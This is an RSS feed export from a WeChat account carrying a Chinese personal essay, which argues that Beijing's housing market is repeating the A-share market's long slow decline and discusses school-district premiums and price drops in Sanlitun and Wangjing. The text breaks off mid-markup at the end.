<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>李姐姐的扫描器</title>
    <link>https://wechat2rss.xlab.app/feed/fda4c8b72435cffdc50c9c6e5eb0041a82eac679.xml</link>
    <description>安全漏洞扫描、渗透测试、安全攻防、企业安全建设&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (李姐姐的扫描器)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM5zSI1UCJnK3fG6wCGFtkfcHUYzfMgI5HFBfUGibPfe5iaA/0</url>
      <title>李姐姐的扫描器</title>
      <link>https://wechat2rss.xlab.app/feed/fda4c8b72435cffdc50c9c6e5eb0041a82eac679.xml</link>
    </image>
    <item>
      <title>北京楼市正在复刻A股过去几年的“漫长阴跌”</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483830&amp;idx=1&amp;sn=512867d3485cf62dcb858847a1a5bcde</link>
      <description>北京楼市正在复刻A股过去几年刚刚演绎完的一轮“漫长阴跌”，基于什么样的内在逻辑，普通人应该如何选择？</description>
      <content:encoded><![CDATA[<p>原创 <span>Li JieJie</span> <span>2025-12-22 13:16</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f4c33abb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9mVf6WvvtbzUjyeQ1EAoibicVeibtM3QL4kY1CgiaibDHXiaxcYGRGOiaAxnicVLQCeKdibJw0080ib9fzbYGow%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>北京楼市正在复刻A股过去几年刚刚演绎完的一轮“漫长阴跌”，基于什么样的内在逻辑，普通人应该如何选择？</p>
  <p><b style="font-weight:normal;" data-pm-slice="0 0 []"><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-size: 14px;background-color: rgb(255, 255, 255);color: rgb(255, 76, 0);">提示：笔者非专业人士， 请指正，谢谢</span></span></span></h1></b></p><p><b style="font-weight:normal;" data-pm-slice="0 0 []"><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">如果在2021年到2024年间，你曾经深度参与了A股投资，你可能会认同我的这个观点：</span></span></span></h1></b></p><p><b style="font-weight:normal;" data-pm-slice="0 0 []"><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">北京楼市正在复刻A股过去几年刚刚演绎完的一轮“漫长阴跌”</span></span></h1></b></p><p><b style="font-weight:normal;" data-pm-slice="0 0 []"><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">挤牙膏式的政策利好逐渐失灵，市场不再反应，或者反应1-2个月后继续阴跌。这是A股股民再熟悉不过的节奏。<span textstyle="" style="font-weight: bold;">在没有类似股市“2024.9.24”级别的强政策干预下，房产市场尚未见底。</span><span textstyle="" style="font-weight: normal;">机构观点（瑞银、大摩、高盛等）主流</span></span><span leaf=""><span textstyle="" style="font-weight: normal;">预测，2027年左右整体见底，一线城市可能略提前。更重要的是，整体见底不意味着都还能再涨回来，房子会逐步分化：好的区域或许能涨回来，有些地方，是永远涨不回来了。</span></span></span></h1></b></p><p><b style="font-weight:normal;" data-pm-slice="0 0 []"><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">笔者租住三里屯，亲眼见证了三里屯</span><span leaf="">“涉外公寓”</span><span leaf="">海晟名苑北区的“腰斩”，从历史高点，2017年的12.9万/平，下跌到今天的6.2万/平！租金也下降了30%有余。三里屯区域常住外国人2万，过去</span><span leaf="">外企高管、外媒记者能报销1.5-4万/月租金，只要你家是好房子，能开票，就能租出很好的价格，但这种好日子已经成为过去时了。</span></span></h1></b></p><p><b style="font-weight:normal;" data-pm-slice="0 0 []"><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">北京不同区块正在快速价值重估：</span></span></h1></b></p><p><b style="font-weight:normal;" data-pm-slice="0 0 []"><ul style="list-style-type: square;" class="list-paddingleft-1"><li><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: bold;">&#34;学区房&#34;泡沫破裂</span>，人口减少、学区政策变化，年轻人不愿意买单。北京的房子，大部分溢价都在学区上。 笔者最近也在看房，相隔200米，一条街两侧的房子：次新好房5万/平，老破小12万/平。只因两个楼的学区不同！12万当中，有9万都是学区溢价。<span textstyle="" style="font-weight: bold;">年轻人愿意买单9万每平方的学区吗？至少，我不愿意</span></span></span></h1></li><li><h1 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">房地产作为中国家庭核心资产的“金融属性”正在快速剥离。<span textstyle="" style="font-weight: bold;">作为买家，我的心态逐渐变成：房子就是消费品，我更需要的是居住体验和居住品质</span>。北京租售比这么好，租住的性价比非常高！</span></span></h1></li><li><h1 dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: bold;">买的是负债，还是资产</span>：在主流看空的大环境下，我身边年轻人的买房心态变了。身边亲友出现贷款卖房、资不抵债的情况。在年轻人心中，买房 == 开启负债</span></h1></li><li><p style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: bold;">有产业支撑的区域，会强者恒强</span>：韩国人离开，阿里搬走后，望京的房价下跌接近40个点。外国人走了， 三里屯涉外公寓直接腰斩。然而，抄底需谨慎，不是谁跌的百分比多，就意味着更安全。问问自己，这些走掉的人/产业，他们还会回来吗？ 如果答案是否定的，就要小心了！</span></p></li></ul></b></p><p><span style="" data-pm-slice="0 0 []"><h2 dir="ltr" style="line-height: 1.38;margin-top: 6pt;margin-bottom: 6pt;text-align: center;"><span style="white-space: pre-wrap;font-size: 18pt;font-family: &#34;Google Sans&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">A股的昨天，就是北京楼市的今天</span></span></span></h2><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:12pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">从2021年高点到2024年初的低谷，<span textstyle="" style="font-weight: bold;">A股经历了一轮“去泡沫”和“流动性枯竭”死亡螺旋。</span><span textstyle="" style="font-weight: normal;">笔者账户曾出现逆天的14个交易日连跌！很多人连跌5天就已经心理崩溃了，想补仓，已经补不动了，你会作何感想？ 眼睁睁看着账户金额每天在扣钱，一睁眼，账户又开始扣钱了。</span></span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(122, 79, 214);font-weight: bold;">利好钝化</span></span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">A股阴跌期间，降准、降息、喊话层出不穷，每一次利好都成了套牢盘离场的机会。市场对常规政策产生了“耐药性”。这和当前北京楼市的反应是一样的——放松限购、降低首付比例、下调LPR，市场反应冷淡，成交量短暂脉冲后迅速回落。<span textstyle="" style="font-weight: bold;">这些剧情，我们在A股，已经体验过很多轮了。</span></span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgb(122, 79, 214);font-weight: bold;">流动性枯竭</span></span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">A股在低谷时，成交额也萎缩到地量。</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">回顾2025年的北京房价走势，晚买几个月，就能省8个点，花钱更少，买到更好的房！</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">有价无市的情况下，急于变现的卖家不断下调底价，带动整个小区的成交价不断下探。</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: bold;">2025的购房者，包括笔者本人，普遍有这样的心态：只要你卖的这一套，不比上一套成交的同户型价格再低几个点，我根本不会考虑买！</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: bold;">继续观望，过几个月我还能买到更好的，更便宜的！要想成交，卖方至少还要让出几个点的下跌空间给我作为安全垫！</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;">所以，你看到，小区卖房的业主互相踩踏，均价螺旋下跌，难以止跌。 十几天前刚成交的价格，已经卖不掉了！找谁说理去？</span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 0pt;"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;">供需失衡，纯买方市场，几天前成交的价格买家不认，要求更低！</span></p><h3 dir="ltr" style="line-height: 1.38;margin-top: 6pt;margin-bottom: 6pt;"><span leaf="" style="white-space: pre-wrap;font-size: 18pt;font-family: &#34;Google Sans&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-size: 16px;color: rgb(122, 79, 214);">北京楼市何时止跌</span></span></h3><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 32px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">只有超预期的、直接注入流动性的政策干预，才能扭转北京房产的下跌趋势。政策还在试点和研究中，出台尚需一些时日。</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 6pt;margin-bottom: 6pt;text-align: center;"><span leaf="" style="white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;">三里屯重灾区</span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">笔者过去几年截图了链家均价图，发现三里屯区块，是房价下跌的极重灾区。</span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">比如，海晟名苑北区： 从高峰期的600万跌至不到290万，跌幅50%</span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">本质上，是这个区域租金大幅下跌引发的重新定价</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">。只要租金没有止跌，这种重度依赖租赁的房产很难见底</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">。</span></span></p><h3 dir="ltr" style="line-height: 1.38;margin-top: 6pt;margin-bottom: 6pt;text-align: center;"><span leaf="" style="white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;">望京重灾区</span></h3><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">如果说三里屯的下跌代表了消费退潮，那么2025年望京的大幅下跌，代表了互联网红利的终结。</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">过去十年，望京的房价是靠阿里、美团互联网大厂员工的高薪和期权撑起来的。然而，2025年互联网行业持续“降本增效”: 裁员常态化，薪资缩水，股票缩水，</span></span><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">“码农”们的支付能力大打折扣。</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(0, 0, 0);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">AI同样正在重塑就业市场，程序员害怕自己的工作被AI替代了。这种对未来收入不确定性的焦虑，导致互联网从业者从“激进加杠杆买房”转向“疯狂存钱还贷”。</span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;" role="presentation"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">当一个高薪群体开始集体防御时，他们所在区域的房价泡沫就会破裂。</span></span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 6pt;margin-bottom: 6pt;text-align: center;" role="presentation"><span leaf="" style="white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;">置换链条的下跌传导</span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">300万左右的房子，是北京成交的主力区间，是所谓的&#34;刚需上车房&#34;，印象中成交占比45%。北京近期的成交，不少是改善需求，小的换大的，破的换新的，郊区换核心的。而这种置换，是首先贱卖便宜的房子，再买个贵的。</span><span textstyle="" style="font-weight: bold;">当买方的钱大幅缩水了，目标区间的价格也必须降下来，他们才买得起</span><span textstyle="" style="font-weight: normal;">：</span></span></span></p><ul class="list-paddingleft-1"><li><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;" role="presentation"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: normal;">200-300万的老破小最先下跌，深跌</span></span></p></li><li><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;" role="presentation"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: normal;">300-500万的下跌，买方资产缩水，不跌别人也买不起</span></span></p></li><li><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;" role="presentation"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: normal;">500-800万接着跌</span></span></p></li><li><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;" role="presentation"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: normal;">800-1500万下跌</span></span></p></li><li><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;" role="presentation"><span leaf="" style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 700;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span textstyle="" style="font-weight: normal;">1500-4000万下跌</span></span></p></li></ul><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">以笔者的观察，下跌已经传导到800-1500万的区间了，比如曾经的老牌豪宅，如今不再豪宅的朝阳公园棕榈泉公寓。 800万不到，就能买入一套。</span></span></span></p><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;text-align: center;" role="presentation"><span style="line-height: 1.38;white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;"><span leaf="" style="white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;">学区房的黄昏</span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:12pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">在房地产的所有细分板块中，学区房曾经是最坚固的泡沫。但在2025年，年轻人已经开启了反向叙事：<span textstyle="" style="font-weight: bold;">买房不买学区房，坚决不接学区溢价的飞刀</span>。</span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:12pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">笔者便是一例，通过数据分析、AI工具，正在努力寻找没有学区溢价的区块。当然，这在全区皆是学区的海淀，显得非常困难。</span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">中国人口出生率断崖式下跌，<span textstyle="" style="font-weight: normal;">过去的“一位难求”，未来变成“学位等人”。当学位不再稀缺，依附于学位的房子——学区房，其溢价会逐步缩水。</span></span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">现在花9万溢价买学区的朋友，数年后会感受这9万泡沫逐步缩水的痛苦。学区房的泡沫破裂，是不可逆的结构性崩塌。</span></span></span></p></span></p><p><span style="" data-pm-slice="0 0 []"><h3 dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;text-align: center;"><span leaf="" style="line-height: 1.38;white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;">市场的K型分化</span></h3><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:12pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">2025年的北京楼市，不是普跌，而是所谓的</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">K型分化</span></span></span></p><h3 dir="ltr" 